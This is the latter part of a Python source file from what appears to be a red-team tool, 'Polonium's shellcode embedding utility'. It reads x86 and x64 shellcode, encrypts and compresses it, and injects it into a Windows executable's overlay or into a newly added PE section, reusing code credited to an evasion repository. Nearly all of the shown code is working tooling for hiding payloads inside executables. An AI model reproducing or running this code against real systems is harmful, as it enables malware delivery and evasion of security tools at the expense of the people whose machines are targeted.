            self.pe.set_dword_at_offset(section_offset+0x18, RelocAddress)
            self.pe.set_dword_at_offset(section_offset+0x1C, Linenumbers)
            self.pe.set_word_at_offset(section_offset+0x20, RelocationsNumber)
            self.pe.set_word_at_offset(section_offset+0x22, LinenumbersNumber)
            self.pe.set_dword_at_offset(section_offset+0x24, Characteristics)
            
            self.pe.FILE_HEADER.NumberOfSections +=1
            
            # Parsing the section table of the file again to add the new section to the sections
            # list of pefile.
            self.pe.parse_sections(section_table_offset)
            
            self.__adjust_optional_header()
        else:
            raise SectionDoublePError("The NumberOfSections specified in the file header and the " +
                "size of the sections list of pefile don't match ({} != {})".format(
                self.pe.FILE_HEADER.NumberOfSections, len(self.pe.sections)
                ))
        
        return self.pe

#
# Based on magnificent work by Joxean Koret:
#   https://github.com/joxeankoret/tahh/blob/master/evasion/SectionDoubleP.py
#

def removePESection(filename):
    pe = pefile.PE(filename)
    sections = SectionDoubleP(pe)

    if pe.sections[-1].Name.decode().startswith(NEW_SECTION_NAME):
        info('[.] File already contained injected PE section. Overriding it...')
        sections.pop_back()
        pe.write(filename)

    pe.close()

def addNewPESection(filename, sectionData):    
    info('[.] Adjusting resulted PE file headers to insert additional PE section') 

    removePESection(filename)

    try:
        # 0x60000020: IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ
        # 0xC0000040: IMAGE_SCN_CNT_INITIALIZED_DATA | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE
        # 0x40000040: IMAGE_SCN_CNT_INITIALIZED_DATA | IMAGE_SCN_MEM_READ
        # 0xE0000020: IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE

        name = NEW_SECTION_NAME.encode() + ((8 - len(NEW_SECTION_NAME)) * b'\x00')

        pe = pefile.PE(filename)
        sections = SectionDoubleP(pe)

        pe = sections.push_back(
            Name = name,
            Characteristics = 0x40000040, 
            Data = sectionData
        )

        pe.write(filename)
        pe.close()

    except SectionDoublePError as e:
        info('[!] Exception occured while injecting a new PE section: ' + str(e))
        raise
        sys.exit(1)

def main(argv):
    info('''
    :: Polonium's shellcode embedding utility
    Mariusz Banach / mgeeky, '19-'21
    v{}
'''.format(VERSION))

    args = opts(argv)

    algo = args.algo if args.algo != None else ''
    compress = args.compress if args.compress != None else ''
    _key = args.key if args.key != None else randomKey(algo)
    _format = args.format if args.format != None else 'header'
    output = args.output if args.output != None else ''
    exe = args.exe if args.exe != None else ''
    scfile86 = args.x86
    scfile64 = args.x64
    params = args.parameters.replace("'", '"').strip()

    if args.key != None:
    	if args.algo == 'xor8':
    		_key = keyToInt8(args.key)
    	elif args.algo == 'xor32':
    		_key = keyToInt32(args.key)

    fileAlign = 0
    withoutPayload = 0

    info('[>] {} MODE.'.format(_format.upper()))
    
    shellcode86 = readShellcode('x86', args.x86)
    shellcode64 = readShellcode('x64', args.x64)

    if _format == 'overlay':
        #if (len(exe) == 0 or not os.path.isfile(exe)):
        #    info('[!] --exe file not given or doesn\'t exist!')
        #    sys.exit(1)

        if len(exe) > 0:
            if not os.path.isfile(exe): 
                info('[!] Specified --exe file doesn\'t exist!')
                sys.exit(1)
            else:
                info('[.] Adding payload to overlay of file "{}"\n'.format(exe))
        else:
            info('[.] Will print embedded data formatted payload to the output/stdout.')

        if '-f a' not in params:
            info('[-] Overlay mode and yet "-f a" not added to default launch parameters. Adding it now.')
            params += " -f a"

        if '-s 0' in params:
            info('[-] "-s 0" will not work with payload in embedded format. Switching to "-s 1" instead')
            params = params.replace('-s 0', '-s 1')

    elif _format == 'section':
        #if (len(exe) == 0 or not os.path.isfile(exe)):
        #    info('[!] --exe file not given or doesn\'t exist!')
        #    sys.exit(1)

        if len(exe) > 0:
            if not os.path.isfile(exe): 
                info('[!] Specified --exe file doesn\'t exist!')
                sys.exit(1)
            else:
                info('[.] Adding payload to an additional PE section of file "{}"\n'.format(exe))
        else:
            info('[.] Will print embedded data formatted payload to the output/stdout.')

        if '-f b' not in params:
            info('[-] Section mode and yet "-f b" not added to default launch parameters. Adding it now.')
            params += " -f b"

        if '-s 0' in params:
            info('[-] "-s 0" will not work with payload in embedded format. Switching to "-s 1" instead')
            params = params.replace('-s 0', '-s 1')

    if len(exe) > 0 and (_format == 'overlay' or _format == 'section'):
        peExe = pefile.PE(exe, fast_load = True)
        fileAlign = peExe.OPTIONAL_HEADER.FileAlignment

        if _format == 'overlay':
            overlay = peExe.get_overlay()

            if overlay != None and len(overlay) > 0: 
                withoutPayload = len(overlay)
                info('[.] Input exe file already contained overlay that starts at: 0x{:08x}. Overwriting it.'.format(withoutPayload))
        
        elif _format == 'section' and peExe.sections[-1].Name.decode().startswith(NEW_SECTION_NAME):
            lastSectOffset = peExe.sections[-1].PointerToRawData

            if lastSectOffset > 0: 
                withoutPayload = os.path.getsize(exe) - lastSectOffset
                info('[.] Overwriting last section (Polonium\'s injected one) that starts at: 0x{:08x}'.format(withoutPayload))

    if not shellcode86 and not shellcode64:
        info('[!] Both shellcode files were empty. At least one input file must contain valid payload.')
        sys.exit(1)

    keyFormatted = None
    shellcodeEncrypted86 = None
    shellcodeEncrypted64 = None
    uncompressedShellcodeSize86 = len(shellcode86) if shellcode86 != None else 0
    uncompressedShellcodeSize64 = len(shellcode64) if shellcode64 != None else 0
    nonAlignedShellcodeSize86 = 0
    nonAlignedShellcodeSize64 = 0

    info('[+] These are default Polonium parameters: "{}"'.format(params))
    info('[+] Will use algorithm {}, compression {} and key: 0x{:08x}'.format(algo, compress, _key))

    if shellcode86 != None and len(shellcode86) > 0: 

        # infinite loop & decryption marker
        shellcode86 += b'\xeb\xfe\xef\xbe\xad\xde'

        info('[.] Input plain x86 shellcode (of length: {}):\n{}'.format(
            len(shellcode86), hexdump(shellcode86[:48])
        ))

        if _format == 'overlay' or _format == 'section' or _format == 'encraw':
            # Prepend overlay with shellcode and Polonium execution parameters
            foo = packParamsToOverlay(params)
            shellcode86 = foo + shellcode86

            info('[.] Prepended embeded metadata:\n{}'.format(
                hexdump(foo[:48])
            ))
        
            info('[+] Read {} bytes of x86 shellcode with jmp, marker and embedded metadata.'.format(len(shellcode86)))
        else:
            info('[+] Read {} bytes of x86 shellcode with jmp and marker.'.format(len(shellcode86)))

        uncompressedShellcodeSize86 = len(shellcode86)
        keyFormatted, shellcodeEncrypted86 = encryptShellcode(algo, compress, _key, shellcode86)
        nonAlignedShellcodeSize86 = len(shellcodeEncrypted86)

        if _format == 'section':
            shellcodeEncrypted86 += ((fileAlign - (nonAlignedShellcodeSize86 % fileAlign)) * b'\x00')

        info('[.] Encoded x86 payload and prep. stub:\n{}'.format(
            hexdump(shellcodeEncrypted86[:48])
        ))

    if shellcode64 != None and len(shellcode64) > 0:

        # infinite loop & decryption marker
        shellcode64 += b'\xeb\xfe\xef\xbe\xad\xde'

        info('[.] Input plain x64 shellcode (of length: {}):\n{}'.format(
            len(shellcode64), hexdump(shellcode64[:48])
        ))

        if _format == 'overlay' or _format == 'section' or _format == 'encraw': 
            # Prepend overlay with shellcode and Polonium execution parameters
            foo = packParamsToOverlay(params)
            shellcode64 = foo + shellcode64

            info('[.] Prepended embeded metadata:\n{}'.format(
                hexdump(foo[:48])
            ))

            info('[+] Read {} bytes of x64 shellcode with jmp, marker and embedded metadata.'.format(len(shellcode64)))
        else:
            info('[+] Read {} bytes of x64 shellcode with jmp and marker.'.format(len(shellcode64)))

        uncompressedShellcodeSize64 = len(shellcode64)
        keyFormatted, shellcodeEncrypted64 = encryptShellcode(algo, compress, _key, shellcode64)
        nonAlignedShellcodeSize64 = len(shellcodeEncrypted64)

        if _format == 'section':
            shellcodeEncrypted64 += ((fileAlign - (nonAlignedShellcodeSize64 % fileAlign)) * b'\x00')

        info('[.] Encoded x64 payload and prep. stub:\n{}'.format(
            hexdump(shellcodeEncrypted64[:48])
        ))


    shellcode86info = {}
    shellcode64info = {}

    if shellcodeEncrypted86 != None and len(shellcodeEncrypted86) > 0:
        shellcode86info["Path"] = '"{}"'.format(args.x86)
        info('[.] x86 shellcode encrypted: {}'.format(len(shellcodeEncrypted86)))

    if shellcodeEncrypted64 != None and len(shellcodeEncrypted64) > 0:
        shellcode64info["Path"] = '"{}"'.format(args.x64)
        info('[.] x64 shellcode encrypted: {}'.format(len(shellcodeEncrypted64)))

    out = printPayload(
        _format, 
        keyFormatted, 
        algo, 
        compress, 
        params, 
        shellcodeEncrypted86, 
        shellcodeEncrypted64, 
        nonAlignedShellcodeSize86, 
        nonAlignedShellcodeSize64, 
        uncompressedShellcodeSize86,
        uncompressedShellcodeSize64,
        shellcode86info, 
        shellcode64info
    )

    if not output:
        info('-' * 60)
        print(out)
        info('-' * 60)
    else:
        count = 0
        opt = 'w'
        if _format == 'raw' or _format == 'encraw' or _format == 'overlay' or _format == 'section': 
            opt += 'b'

        info('\n[.] Saving generated payload to output file...')

        try:
            exeData = None
            if len(exe) > 0 and (_format == 'overlay' or _format == 'section'):
                with open(exe, 'rb') as g:
                    exeData = g.read()
                    g.close()

            f = None
            if output == exe:
                f = tempfile.TemporaryFile('w+b')
            else:
                f = open(output, opt)

            if f:
                if len(exe) > 0 and (_format == 'overlay' or _format == 'section'):
                    if withoutPayload != 0:
                        o = exeData[:-withoutPayload]
                        count += len(o)
                        f.write(o)
                    else:
                        count += len(exeData)
                        f.write(exeData)

                count += len(out)
                f.write(out)

                if output == exe:
                    with open(output, opt) as g:
                        f.seek(0)
                        g.write(f.read())

                f.close()

                if len(exe) > 0 and _format == 'section':
                    addNewPESection(output, out)

                info('\n[+] Written {} bytes to the output file: {}'.format(count, output)) 
            else:
                info('[!] Could not open output file.')

        except Exception as e:
            info(f'[!] Exception thrown: {e}')
            raise
            return

    info('[+] Done.\n')

if __name__ == '__main__':
    main(sys.argv)